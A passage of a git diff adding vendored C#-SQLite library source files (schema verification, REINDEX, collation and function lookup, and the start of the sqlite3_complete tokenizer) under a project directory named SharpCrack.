** + ** It is important that all schema cookies be verified and all + ** read transactions be started before anything else happens in + ** the VDBE program. But this routine can be called after much other + ** code has been generated. So here is what we do: + ** + ** The first time this routine is called, we code an OP_Goto that + ** will jump to a subroutine at the end of the program. Then we + ** record every database that needs its schema verified in the + ** pParse.cookieMask field. Later, after all other code has been + ** generated, the subroutine that does the cookie verifications and + ** starts the transactions will be coded and the OP_Goto P2 value + ** will be made to point to that subroutine. The generation of the + ** cookie verification subroutine code happens in sqlite3FinishCoding(). + ** + ** If iDb<0 then code the OP_Goto only - don't set flag to verify the + ** schema on any databases. This can be used to position the OP_Goto + ** early in the code, before we know if any database tables will be used. + */ + static void sqlite3CodeVerifySchema( Parse pParse, int iDb ) + { + Parse pToplevel = sqlite3ParseToplevel( pParse ); + + if ( pToplevel.cookieGoto == 0 ) + { + Vdbe v = sqlite3GetVdbe( pToplevel ); + if ( v == null ) + return; /* This only happens if there was a prior error */ + pToplevel.cookieGoto = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 ) + 1; + } + if ( iDb >= 0 ) + { + sqlite3 db = pToplevel.db; + yDbMask mask; + Debug.Assert( iDb < db.nDb ); + Debug.Assert( db.aDb[iDb].pBt != null || iDb == 1 ); + Debug.Assert( iDb < SQLITE_MAX_ATTACHED + 2 ); + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + mask = ( (yDbMask)1 ) << iDb; + if ( ( pToplevel.cookieMask & mask ) == 0 ) + { + pToplevel.cookieMask |= mask; + pToplevel.cookieValue[iDb] = db.aDb[iDb].pSchema.schema_cookie; + if ( 0 == OMIT_TEMPDB && iDb == 1 ) + { + sqlite3OpenTempDatabase( pToplevel ); + } + } + } + } + + /* + ** If argument zDb is NULL, then call sqlite3CodeVerifySchema() for each + ** attached database. Otherwise, invoke it for the database named zDb only. + */ + static void sqlite3CodeVerifyNamedSchema( Parse pParse, string zDb ) + { + sqlite3 db = pParse.db; + int i; + for ( i = 0; i < db.nDb; i++ ) + { + Db pDb = db.aDb[i]; + if ( pDb.pBt != null && ( null == zDb || 0 == zDb.CompareTo(pDb.zName ) ) ) + { + sqlite3CodeVerifySchema( pParse, i ); + } + } + } + /* + ** Generate VDBE code that prepares for doing an operation that + ** might change the database. + ** + ** This routine starts a new transaction if we are not already within + ** a transaction. If we are already within a transaction, then a checkpoint + ** is set if the setStatement parameter is true. A checkpoint should + ** be set for operations that might fail (due to a constraint) part of + ** the way through and which will need to undo some writes without having to + ** rollback the whole transaction. For operations where all constraints + ** can be checked before any changes are made to the database, it is never + ** necessary to undo a write and the checkpoint should not be set. + */ + static void sqlite3BeginWriteOperation( Parse pParse, int setStatement, int iDb ) + { + Parse pToplevel = sqlite3ParseToplevel( pParse ); + sqlite3CodeVerifySchema( pParse, iDb ); + pToplevel.writeMask |= ( (yDbMask)1 ) << iDb; + pToplevel.isMultiWrite |= (u8)setStatement; + } + + /* + ** Indicate that the statement currently under construction might write + ** more than one entry (example: deleting one row then inserting another, + ** inserting multiple rows in a table, or inserting a row and index entries.) + ** If an abort occurs after some of these writes have completed, then it will + ** be necessary to undo the completed writes. + */ + static void sqlite3MultiWrite( Parse pParse ) + { + Parse pToplevel = sqlite3ParseToplevel( pParse ); + pToplevel.isMultiWrite = 1; + } + + /* + ** The code generator calls this routine if is discovers that it is + ** possible to abort a statement prior to completion. In order to + ** perform this abort without corrupting the database, we need to make + ** sure that the statement is protected by a statement transaction. + ** + ** Technically, we only need to set the mayAbort flag if the + ** isMultiWrite flag was previously set. There is a time dependency + ** such that the abort must occur after the multiwrite. This makes + ** some statements involving the REPLACE conflict resolution algorithm + ** go a little faster. But taking advantage of this time dependency + ** makes it more difficult to prove that the code is correct (in + ** particular, it prevents us from writing an effective + ** implementation of sqlite3AssertMayAbort()) and so we have chosen + ** to take the safe route and skip the optimization. + */ + static void sqlite3MayAbort( Parse pParse ) + { + Parse pToplevel = sqlite3ParseToplevel( pParse ); + pToplevel.mayAbort = 1; + } + + /* + ** Code an OP_Halt that causes the vdbe to return an SQLITE_CONSTRAINT + ** error. The onError parameter determines which (if any) of the statement + ** and/or current transaction is rolled back. + */ + static void sqlite3HaltConstraint( Parse pParse, int onError, string p4, int p4type ) + { + Vdbe v = sqlite3GetVdbe( pParse ); + if ( onError == OE_Abort ) + { + sqlite3MayAbort( pParse ); + } + sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, onError, 0, p4, p4type ); + } + + static void sqlite3HaltConstraint( Parse pParse, int onError, byte[] p4, int p4type ) + { + Vdbe v = sqlite3GetVdbe( pParse ); + if ( onError == OE_Abort ) + { + sqlite3MayAbort( pParse ); + } + sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, onError, 0, p4, p4type ); + } + + /* + ** Check to see if pIndex uses the collating sequence pColl. Return + ** true if it does and false if it does not. + */ +#if !SQLITE_OMIT_REINDEX + static bool collationMatch( string zColl, Index pIndex ) + { + int i; + Debug.Assert( zColl != null ); + for ( i = 0; i < pIndex.nColumn; i++ ) + { + string z = pIndex.azColl[i]; + Debug.Assert( z != null ); + if ( z.Equals( zColl, StringComparison.InvariantCultureIgnoreCase ) ) + { + return true; + } + } + return false; + } +#endif + + /* +** Recompute all indices of pTab that use the collating sequence pColl. +** If pColl == null then recompute all indices of pTab. +*/ +#if !SQLITE_OMIT_REINDEX + static void reindexTable( Parse pParse, Table pTab, string zColl ) + { + Index pIndex; /* An index associated with pTab */ + + for ( pIndex = pTab.pIndex; pIndex != null; pIndex = pIndex.pNext ) + { + if ( zColl == null || collationMatch( zColl, pIndex ) ) + { + int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + sqlite3BeginWriteOperation( pParse, 0, iDb ); + sqlite3RefillIndex( pParse, pIndex, -1 ); + } + } + } +#endif + + /* +** Recompute all indices of all tables in all databases where the +** indices use the collating sequence pColl. If pColl == null then recompute +** all indices everywhere. +*/ +#if !SQLITE_OMIT_REINDEX + static void reindexDatabases( Parse pParse, string zColl ) + { + Db pDb; /* A single database */ + int iDb; /* The database index number */ + sqlite3 db = pParse.db; /* The database connection */ + HashElem k; /* For looping over tables in pDb */ + Table pTab; /* A table in the database */ + + Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) ); /* Needed for schema access */ + for ( iDb = 0; iDb < db.nDb; iDb++ )//, pDb++ ) + { + pDb = db.aDb[iDb]; + Debug.Assert( pDb != null ); + for ( k = pDb.pSchema.tblHash.first; k != null; k = k.next ) //for ( k = sqliteHashFirst( pDb.pSchema.tblHash ) ; k != null ; k = sqliteHashNext( k ) ) + { + pTab = (Table)k.data;// sqliteHashData( k ); + reindexTable( pParse, pTab, zColl ); + } + } + } +#endif + + /* +** Generate code for the REINDEX command. +** +** REINDEX -- 1 +** REINDEX -- 2 +** REINDEX ?.? -- 3 +** REINDEX ?.? -- 4 +** +** Form 1 causes all indices in all attached databases to be rebuilt. +** Form 2 rebuilds all indices in all databases that use the named +** collating function. Forms 3 and 4 rebuild the named index or all +** indices associated with the named table. +*/ +#if !SQLITE_OMIT_REINDEX + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3Reindex( Parse pParse, int null_2, int null_3 ) + { + sqlite3Reindex( pParse, null, null ); + } + static void sqlite3Reindex( Parse pParse, Token pName1, Token pName2 ) + { + CollSeq pColl; /* Collating sequence to be reindexed, or NULL */ + string z; /* Name of a table or index */ + string zDb; /* Name of the database */ + Table pTab; /* A table in the database */ + Index pIndex; /* An index associated with pTab */ + int iDb; /* The database index number */ + sqlite3 db = pParse.db; /* The database connection */ + Token pObjName = new Token(); /* Name of the table or index to be reindexed */ + + /* Read the database schema. If an error occurs, leave an error message + ** and code in pParse and return NULL. */ + if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) + { + return; + } + + if ( pName1 == null ) + { + reindexDatabases( pParse, null ); + return; + } + else if ( NEVER( pName2 == null ) || pName2.z == null || pName2.z.Length == 0 ) + { + string zColl; + Debug.Assert( pName1.z != null ); + zColl = sqlite3NameFromToken( pParse.db, pName1 ); + if ( zColl == null ) + return; + pColl = sqlite3FindCollSeq( db, ENC( db ), zColl, 0 ); + if ( pColl != null ) + { + reindexDatabases( pParse, zColl ); + sqlite3DbFree( db, ref zColl ); + return; + } + sqlite3DbFree( db, ref zColl ); + } + iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pObjName ); + if ( iDb < 0 ) + return; + z = sqlite3NameFromToken( db, pObjName ); + if ( z == null ) + return; + zDb = db.aDb[iDb].zName; + pTab = sqlite3FindTable( db, z, zDb ); + if ( pTab != null ) + { + reindexTable( pParse, pTab, null ); + sqlite3DbFree( db, ref z ); + return; + } + pIndex = sqlite3FindIndex( db, z, zDb ); + sqlite3DbFree( db, ref z ); + if ( pIndex != null ) + { + sqlite3BeginWriteOperation( pParse, 0, iDb ); + sqlite3RefillIndex( pParse, pIndex, -1 ); + return; + } + sqlite3ErrorMsg( pParse, "unable to identify the object to be reindexed" ); + } +#endif + + /* +** Return a dynamicly allocated KeyInfo structure that can be used +** with OP_OpenRead or OP_OpenWrite to access database index pIdx. +** +** If successful, a pointer to the new structure is returned. In this case +** the caller is responsible for calling sqlite3DbFree(db, ) on the returned +** pointer. If an error occurs (out of memory or missing collation +** sequence), NULL is returned and the state of pParse updated to reflect +** the error. +*/ + static KeyInfo sqlite3IndexKeyinfo( Parse pParse, Index pIdx ) + { + int i; + int nCol = pIdx.nColumn; + //int nBytes = KeyInfo.Length + (nCol - 1) * CollSeq*.Length + nCol; + sqlite3 db = pParse.db; + KeyInfo pKey = new KeyInfo();// (KeyInfo)sqlite3DbMallocZero(db, nBytes); + + if ( pKey != null ) + { + pKey.db = pParse.db; + pKey.aSortOrder = new byte[nCol]; + pKey.aColl = new CollSeq[nCol];// (u8)&(pKey.aColl[nCol]); + // Debug.Assert(pKey.aSortOrder[nCol] == (((u8)pKey)[nBytes])); + for ( i = 0; i < nCol; i++ ) + { + string zColl = pIdx.azColl[i]; + Debug.Assert( zColl != null ); + pKey.aColl[i] = sqlite3LocateCollSeq( pParse, zColl ); + pKey.aSortOrder[i] = pIdx.aSortOrder[i]; + } + pKey.nField = (u16)nCol; + } + + if ( pParse.nErr != 0 ) + { + pKey = null; + sqlite3DbFree( db, ref pKey ); + } + return pKey; + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/callback_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/callback_c.cs new file mode 100644 index 0000000..de4d087 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/callback_c.cs @@ -0,0 +1,559 @@ +using System; +using System.Diagnostics; +using System.Text; + +using i16 = System.Int16; +using u8 = System.Byte; +using u16 = System.UInt16; + +namespace Community.CsharpSqlite +{ + using sqlite3_value = Sqlite3.Mem; + + public partial class Sqlite3 + { + /* + ** 2005 May 23 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains functions used to access the internal hash tables + ** of user defined functions and collation sequences. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-05-19 13:26:54 ed1da510a239ea767a01dc332b667119fa3c908e + ** + ************************************************************************* + */ + + //#include "sqliteInt.h" + + /* + ** Invoke the 'collation needed' callback to request a collation sequence + ** in the encoding enc of name zName, length nName. + */ + static void callCollNeeded( sqlite3 db, int enc, string zName ) + { + Debug.Assert( db.xCollNeeded == null || db.xCollNeeded16 == null ); + if ( db.xCollNeeded != null ) + { + string zExternal = zName;// sqlite3DbStrDup(db, zName); + if ( zExternal == null ) + return; + db.xCollNeeded( db.pCollNeededArg, db, enc, zExternal ); + sqlite3DbFree( db, ref zExternal ); + } +#if NO_SQLITE_OMIT_UTF16 //#if !SQLITE_OMIT_UTF16 +if( db.xCollNeeded16!=null ){ +string zExternal; +sqlite3_value pTmp = sqlite3ValueNew(db); +sqlite3ValueSetStr(pTmp, -1, zName, SQLITE_UTF8, SQLITE_STATIC); +zExternal = sqlite3ValueText(pTmp, SQLITE_UTF16NATIVE); +if( zExternal!="" ){ +db.xCollNeeded16( db.pCollNeededArg, db, db.aDbStatic[0].pSchema.enc, zExternal );//(int)ENC(db), zExternal); +} +sqlite3ValueFree(ref pTmp); +} +#endif + } + + /* + ** This routine is called if the collation factory fails to deliver a + ** collation function in the best encoding but there may be other versions + ** of this collation function (for other text encodings) available. Use one + ** of these instead if they exist. Avoid a UTF-8 <. UTF-16 conversion if + ** possible. + */ + static int synthCollSeq( sqlite3 db, CollSeq pColl ) + { + CollSeq pColl2; + string z = pColl.zName; + int i; + byte[] aEnc = { SQLITE_UTF16BE, SQLITE_UTF16LE, SQLITE_UTF8 }; + for ( i = 0; i < 3; i++ ) + { + pColl2 = sqlite3FindCollSeq( db, aEnc[i], z, 0 ); + if ( pColl2.xCmp != null ) + { + pColl = pColl2.Copy(); //memcpy(pColl, pColl2, sizeof(CollSeq)); + pColl.xDel = null; /* Do not copy the destructor */ + return SQLITE_OK; + } + } + return SQLITE_ERROR; + } + + /* + ** This function is responsible for invoking the collation factory callback + ** or substituting a collation sequence of a different encoding when the + ** requested collation sequence is not available in the desired encoding. + ** + ** If it is not NULL, then pColl must point to the database native encoding + ** collation sequence with name zName, length nName. + ** + ** The return value is either the collation sequence to be used in database + ** db for collation type name zName, length nName, or NULL, if no collation + ** sequence can be found. + ** + ** See also: sqlite3LocateCollSeq(), sqlite3FindCollSeq() + */ + static CollSeq sqlite3GetCollSeq( + sqlite3 db, /* The database connection */ + u8 enc, /* The desired encoding for the collating sequence */ + CollSeq pColl, /* Collating sequence with native encoding, or NULL */ + string zName /* Collating sequence name */ + ) + { + CollSeq p; + + p = pColl; + if ( p == null ) + { + p = sqlite3FindCollSeq( db, enc, zName, 0 ); + } + if ( p == null || p.xCmp == null ) + { + /* No collation sequence of this type for this encoding is registered. + ** Call the collation factory to see if it can supply us with one. + */ + callCollNeeded( db, enc, zName ); + p = sqlite3FindCollSeq( db, enc, zName, 0 ); + } + if ( p != null && p.xCmp == null && synthCollSeq( db, p ) != 0 ) + { + p = null; + } + Debug.Assert( p == null || p.xCmp != null ); + return p; + } + + /* + ** This routine is called on a collation sequence before it is used to + ** check that it is defined. An undefined collation sequence exists when + ** a database is loaded that contains references to collation sequences + ** that have not been defined by sqlite3_create_collation() etc. + ** + ** If required, this routine calls the 'collation needed' callback to + ** request a definition of the collating sequence. If this doesn't work, + ** an equivalent collating sequence that uses a text encoding different + ** from the main database is substituted, if one is available. + */ + static int sqlite3CheckCollSeq( Parse pParse, CollSeq pColl ) + { + if ( pColl != null ) + { + string zName = pColl.zName; + sqlite3 db = pParse.db; + CollSeq p = sqlite3GetCollSeq( db, ENC( db ), pColl, zName ); + if ( null == p ) + { + sqlite3ErrorMsg( pParse, "no such collation sequence: %s", zName ); + pParse.nErr++; + return SQLITE_ERROR; + } + // + //Debug.Assert(p == pColl); + if ( p != pColl ) // Had to lookup appropriate sequence + { + pColl.enc = p.enc; + pColl.pUser = p.pUser; + pColl.type = p.type; + pColl.xCmp = p.xCmp; + pColl.xDel = p.xDel; + } + + } + return SQLITE_OK; + } + + + + /* + ** Locate and return an entry from the db.aCollSeq hash table. If the entry + ** specified by zName and nName is not found and parameter 'create' is + ** true, then create a new entry. Otherwise return NULL. + ** + ** Each pointer stored in the sqlite3.aCollSeq hash table contains an + ** array of three CollSeq structures. The first is the collation sequence + ** prefferred for UTF-8, the second UTF-16le, and the third UTF-16be. + ** + ** Stored immediately after the three collation sequences is a copy of + ** the collation sequence name. A pointer to this string is stored in + ** each collation sequence structure. + */ + static CollSeq[] findCollSeqEntry( + sqlite3 db, /* Database connection */ + string zName, /* Name of the collating sequence */ + int create /* Create a new entry if true */ + ) + { + CollSeq[] pColl; + int nName = sqlite3Strlen30( zName ); + pColl = sqlite3HashFind( db.aCollSeq, zName, nName, (CollSeq[])null ); + + if ( ( null == pColl ) && create != 0 ) + { + pColl = new CollSeq[3]; //sqlite3DbMallocZero(db, 3*sizeof(*pColl) + nName + 1 ); + if ( pColl != null ) + { + CollSeq pDel = null; + pColl[0] = new CollSeq(); + pColl[0].zName = zName; + pColl[0].enc = SQLITE_UTF8; + pColl[1] = new CollSeq(); + pColl[1].zName = zName; + pColl[1].enc = SQLITE_UTF16LE; + pColl[2] = new CollSeq(); + pColl[2].zName = zName; + pColl[2].enc = SQLITE_UTF16BE; + //memcpy(pColl[0].zName, zName, nName); + //pColl[0].zName[nName] = 0; + CollSeq[] pDelArray = sqlite3HashInsert( ref db.aCollSeq, pColl[0].zName, nName, pColl ); + if ( pDelArray != null ) + pDel = pDelArray[0]; + /* If a malloc() failure occurred in sqlite3HashInsert(), it will + ** return the pColl pointer to be deleted (because it wasn't added + ** to the hash table). + */ + Debug.Assert( pDel == null || pDel == pColl[0] ); + if ( pDel != null ) + { + //// db.mallocFailed = 1; + pDel = null; //was sqlite3DbFree(db,ref pDel); + pColl = null; + } + } + } + return pColl; + } + + /* + ** Parameter zName points to a UTF-8 encoded string nName bytes long. + ** Return the CollSeq* pointer for the collation sequence named zName + ** for the encoding 'enc' from the database 'db'. + ** + ** If the entry specified is not found and 'create' is true, then create a + ** new entry. Otherwise return NULL. + ** + ** A separate function sqlite3LocateCollSeq() is a wrapper around + ** this routine. sqlite3LocateCollSeq() invokes the collation factory + ** if necessary and generates an error message if the collating sequence + ** cannot be found. + ** + ** See also: sqlite3LocateCollSeq(), sqlite3GetCollSeq() + */ + static CollSeq sqlite3FindCollSeq( + sqlite3 db, + u8 enc, + string zName, + u8 create + ) + { + CollSeq[] pColl; + if ( zName != null ) + { + pColl = findCollSeqEntry( db, zName, create ); + } + else + { + pColl = new CollSeq[enc]; + pColl[enc - 1] = db.pDfltColl; + } + Debug.Assert( SQLITE_UTF8 == 1 && SQLITE_UTF16LE == 2 && SQLITE_UTF16BE == 3 ); + Debug.Assert( enc >= SQLITE_UTF8 && enc <= SQLITE_UTF16BE ); + if ( pColl != null ) + { + enc -= 1; // if (pColl != null) pColl += enc - 1; + return pColl[enc]; + } + else + return null; + } + + /* During the search for the best function definition, this procedure + ** is called to test how well the function passed as the first argument + ** matches the request for a function with nArg arguments in a system + ** that uses encoding enc. The value returned indicates how well the + ** request is matched. A higher value indicates a better match. + ** + ** The returned value is always between 0 and 6, as follows: + ** + ** 0: Not a match, or if nArg<0 and the function is has no implementation. + ** 1: A variable arguments function that prefers UTF-8 when a UTF-16 + ** encoding is requested, or vice versa. + ** 2: A variable arguments function that uses UTF-16BE when UTF-16LE is + ** requested, or vice versa. + ** 3: A variable arguments function using the same text encoding. + ** 4: A function with the exact number of arguments requested that + ** prefers UTF-8 when a UTF-16 encoding is requested, or vice versa. + ** 5: A function with the exact number of arguments requested that + ** prefers UTF-16LE when UTF-16BE is requested, or vice versa. + ** 6: An exact match. + ** + */ + static int matchQuality( FuncDef p, int nArg, int enc ) + { + int match = 0; + if ( p.nArg == -1 || p.nArg == nArg + || ( nArg == -1 && ( p.xFunc != null || p.xStep != null ) ) + ) + { + match = 1; + if ( p.nArg == nArg || nArg == -1 ) + { + match = 4; + } + if ( enc == p.iPrefEnc ) + { + match += 2; + } + else if ( ( enc == SQLITE_UTF16LE && p.iPrefEnc == SQLITE_UTF16BE ) || + ( enc == SQLITE_UTF16BE && p.iPrefEnc == SQLITE_UTF16LE ) ) + { + match += 1; + } + } + return match; + } + + /* + ** Search a FuncDefHash for a function with the given name. Return + ** a pointer to the matching FuncDef if found, or 0 if there is no match. + */ + static FuncDef functionSearch( + FuncDefHash pHash, /* Hash table to search */ + int h, /* Hash of the name */ + string zFunc, /* Name of function */ + int nFunc /* Number of bytes in zFunc */ + ) + { + FuncDef p; + for ( p = pHash.a[h]; p != null; p = p.pHash ) + { + if ( p.zName.Length == nFunc && p.zName.StartsWith( zFunc, StringComparison.InvariantCultureIgnoreCase ) ) + { + return p; + } + } + return null; + } + + /* + ** Insert a new FuncDef into a FuncDefHash hash table. + */ + static void sqlite3FuncDefInsert( + FuncDefHash pHash, /* The hash table into which to insert */ + FuncDef pDef /* The function definition to insert */ + ) + { + FuncDef pOther; + int nName = sqlite3Strlen30( pDef.zName ); + u8 c1 = (u8)pDef.zName[0]; + int h = ( sqlite3UpperToLower[c1] + nName ) % ArraySize( pHash.a ); + pOther = functionSearch( pHash, h, pDef.zName, nName ); + if ( pOther != null ) + { + Debug.Assert( pOther != pDef && pOther.pNext != pDef ); + pDef.pNext = pOther.pNext; + pOther.pNext = pDef; + } + else + { + pDef.pNext = null; + pDef.pHash = pHash.a[h]; + pHash.a[h] = pDef; + } + } + + /* + ** Locate a user function given a name, a number of arguments and a flag + ** indicating whether the function prefers UTF-16 over UTF-8. Return a + ** pointer to the FuncDef structure that defines that function, or return + ** NULL if the function does not exist. + ** + ** If the createFlag argument is true, then a new (blank) FuncDef + ** structure is created and liked into the "db" structure if a + ** no matching function previously existed. When createFlag is true + ** and the nArg parameter is -1, then only a function that accepts + ** any number of arguments will be returned. + ** + ** If createFlag is false and nArg is -1, then the first valid + ** function found is returned. A function is valid if either xFunc + ** or xStep is non-zero. + ** + ** If createFlag is false, then a function with the required name and + ** number of arguments may be returned even if the eTextRep flag does not + ** match that requested. + */ + + static FuncDef sqlite3FindFunction( + sqlite3 db, /* An open database */ + string zName, /* Name of the function. Not null-terminated */ + int nName, /* Number of characters in the name */ + int nArg, /* Number of arguments. -1 means any number */ + u8 enc, /* Preferred text encoding */ + u8 createFlag /* Create new entry if true and does not otherwise exist */ + ) + { + FuncDef p; /* Iterator variable */ + FuncDef pBest = null; /* Best match found so far */ + int bestScore = 0; + int h; /* Hash value */ + + Debug.Assert( enc == SQLITE_UTF8 || enc == SQLITE_UTF16LE || enc == SQLITE_UTF16BE ); + h = ( sqlite3UpperToLower[(u8)zName[0]] + nName ) % ArraySize( db.aFunc.a ); + + + /* First search for a match amongst the application-defined functions. + */ + p = functionSearch( db.aFunc, h, zName, nName ); + while ( p != null ) + { + int score = matchQuality( p, nArg, enc ); + if ( score > bestScore ) + { + pBest = p; + bestScore = score; + + } + p = p.pNext; + } + + + /* If no match is found, search the built-in functions. + ** + ** If the SQLITE_PreferBuiltin flag is set, then search the built-in + ** functions even if a prior app-defined function was found. And give + ** priority to built-in functions. + ** + ** Except, if createFlag is true, that means that we are trying to + ** install a new function. Whatever FuncDef structure is returned it will + ** have fields overwritten with new information appropriate for the + ** new function. But the FuncDefs for built-in functions are read-only. + ** So we must not search for built-ins when creating a new function. + */ + if ( 0 == createFlag && ( pBest == null || ( db.flags & SQLITE_PreferBuiltin ) != 0 ) ) + { +#if SQLITE_OMIT_WSD +FuncDefHash pHash = GLOBAL( FuncDefHash, sqlite3GlobalFunctions ); +#else + FuncDefHash pHash = sqlite3GlobalFunctions; +#endif + bestScore = 0; + p = functionSearch( pHash, h, zName, nName ); + while ( p != null ) + { + int score = matchQuality( p, nArg, enc ); + if ( score > bestScore ) + { + pBest = p; + bestScore = score; + } + p = p.pNext; + } + } + + /* If the createFlag parameter is true and the search did not reveal an + ** exact match for the name, number of arguments and encoding, then add a + ** new entry to the hash table and return it. + */ + if ( createFlag != 0 && ( bestScore < 6 || pBest.nArg != nArg ) && + ( pBest = new FuncDef() ) != null ) + { //sqlite3DbMallocZero(db, sizeof(*pBest)+nName+1))!=0 ){ + //pBest.zName = (char *)&pBest[1]; + pBest.nArg = (i16)nArg; + pBest.iPrefEnc = enc; + pBest.zName = zName; //memcpy(pBest.zName, zName, nName); + //pBest.zName[nName] = 0; + sqlite3FuncDefInsert( db.aFunc, pBest ); + } + + if ( pBest != null && ( pBest.xStep != null || pBest.xFunc != null || createFlag != 0 ) ) + { + return pBest; + } + return null; + } + + /* + ** Free all resources held by the schema structure. The void* argument points + ** at a Schema struct. This function does not call sqlite3DbFree(db, ) on the + ** pointer itself, it just cleans up subsidiary resources (i.e. the contents + ** of the schema hash tables). + ** + ** The Schema.cache_size variable is not cleared. + */ + static void sqlite3SchemaClear( Schema p ) + { + Hash temp1; + Hash temp2; + HashElem pElem; + Schema pSchema = p; + + temp1 = pSchema.tblHash; + temp2 = pSchema.trigHash; + sqlite3HashInit( pSchema.trigHash ); + sqlite3HashClear( pSchema.idxHash ); + for ( pElem = sqliteHashFirst( temp2 ); pElem != null; pElem = sqliteHashNext( pElem ) ) + { + Trigger pTrigger = (Trigger)sqliteHashData( pElem ); + sqlite3DeleteTrigger( null, ref pTrigger ); + } + sqlite3HashClear( temp2 ); + sqlite3HashInit( pSchema.trigHash ); + for ( pElem = temp1.first; pElem != null; pElem = pElem.next )//sqliteHashFirst(&temp1); pElem; pElem = sqliteHashNext(pElem)) + { + Table pTab = (Table)pElem.data; //sqliteHashData(pElem); + sqlite3DeleteTable( null, ref pTab ); + } + sqlite3HashClear( temp1 ); + sqlite3HashClear( pSchema.fkeyHash ); + pSchema.pSeqTab = null; + if ( ( pSchema.flags & DB_SchemaLoaded ) != 0 ) + { + pSchema.iGeneration++; + pSchema.flags = (u16)( pSchema.flags & ( ~DB_SchemaLoaded ) ); + } + p.Clear(); + } + + /* + ** Find and return the schema associated with a BTree. Create + ** a new one if necessary. + */ + static Schema sqlite3SchemaGet( sqlite3 db, Btree pBt ) + { + Schema p; + if ( pBt != null ) + { + p = sqlite3BtreeSchema( pBt, -1, (dxFreeSchema)sqlite3SchemaClear );//Schema.Length, sqlite3SchemaFree); + } + else + { + p = new Schema(); // (Schema *)sqlite3DbMallocZero(0, sizeof(Schema)); + } + if ( p == null ) + { + //// db.mallocFailed = 1; + } + else if ( 0 == p.file_format ) + { + sqlite3HashInit( p.tblHash ); + sqlite3HashInit( p.idxHash ); + sqlite3HashInit( p.trigHash ); + sqlite3HashInit( p.fkeyHash ); + p.enc = SQLITE_UTF8; + } + return p; + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/complete_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/complete_c.cs new file mode 100644 index 0000000..7ddd86e --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/complete_c.cs @@ -0,0 +1,362 @@ +using System.Diagnostics; + +namespace Community.CsharpSqlite +{ + + using u8 = System.Byte; + + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** An tokenizer for SQL + ** + ** This file contains C code that implements the sqlite3_complete() API. + ** This code used to be part of the tokenizer.c source file. But by + ** separating it out, the code will be automatically omitted from + ** static links that do not use it. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" +#if !SQLITE_OMIT_COMPLETE + + /* +** This is defined in tokenize.c. We just have to import the definition. +*/ +#if !SQLITE_AMALGAMATION +#if !NO_SQLITE_ASCII + //#define IdChar(C) ((sqlite3CtypeMap[(unsigned char)C]&0x46)!=0) + static bool IdChar( u8 C ) + { + return ( sqlite3CtypeMap[(char)C] & 0x46 ) != 0; + } +#endif +//#if SQLITE_EBCDIC +//extern const char sqlite3IsEbcdicIdChar[]; +//#define IdChar(C) (((c=C)>=0x42 && sqlite3IsEbcdicIdChar[c-0x40])) +//#endif +#endif // * SQLITE_AMALGAMATION */ + + + /* +** Token types used by the sqlite3_complete() routine. See the header +** comments on that procedure for additional information. +*/ + const int tkSEMI = 0; + const int tkWS = 1; + const int tkOTHER = 2; +#if !SQLITE_OMIT_TRIGGER + const int tkEXPLAIN = 3; + const int tkCREATE = 4; + const int tkTEMP = 5; + const int tkTRIGGER = 6; + const int tkEND = 7; +#endif + + /* +** Return TRUE if the given SQL string ends in a semicolon. +** +** Special handling is require for CREATE TRIGGER statements. +** Whenever the CREATE TRIGGER keywords are seen, the statement +** must end with ";END;". +** +** This implementation uses a state machine with 8 states: +** +** (0) INVALID We have not yet seen a non-whitespace character. +** +** (1) START At the beginning or end of an SQL statement. This routine +** returns 1 if it ends in the START state and 0 if it ends +** in any other state. +** +** (2) NORMAL We are in the middle of statement which ends with a single +** semicolon. +** +** (3) EXPLAIN The keyword EXPLAIN has been seen at the beginning of +** a statement. +** +** (4) CREATE The keyword CREATE has been seen at the beginning of a +** statement, possibly preceeded by EXPLAIN and/or followed by +** TEMP or TEMPORARY +** +** (5) TRIGGER We are in the middle of a trigger definition that must be +** ended by a semicolon, the keyword END, and another semicolon. +** +** (6) SEMI We've seen the first semicolon in the ";END;" that occurs at +** the end of a trigger definition. +** +** (7) END We've seen the ";END" of the ";END;" that occurs at the end +** of a trigger difinition. +** +** Transitions between states above are determined by tokens extracted +** from the input. The following tokens are significant: +** +** (0) tkSEMI A semicolon. +** (1) tkWS Whitespace. +** (2) tkOTHER Any other SQL token. +** (3) tkEXPLAIN The "explain" keyword. +** (4) tkCREATE The "create" keyword. +** (5) tkTEMP The "temp" or "temporary" keyword. +** (6) tkTRIGGER The "trigger" keyword. +** (7) tkEND The "end" keyword. +** +** Whitespace never causes a state transition and is always ignored. +** This means that a SQL string of all whitespace is invalid. +** +** If we compile with SQLITE_OMIT_TRIGGER, all of the computation needed +** to recognize the end of a trigger can be omitted. All we have to do +** is look for a semicolon that is not part of an string or comment. +*/ + + 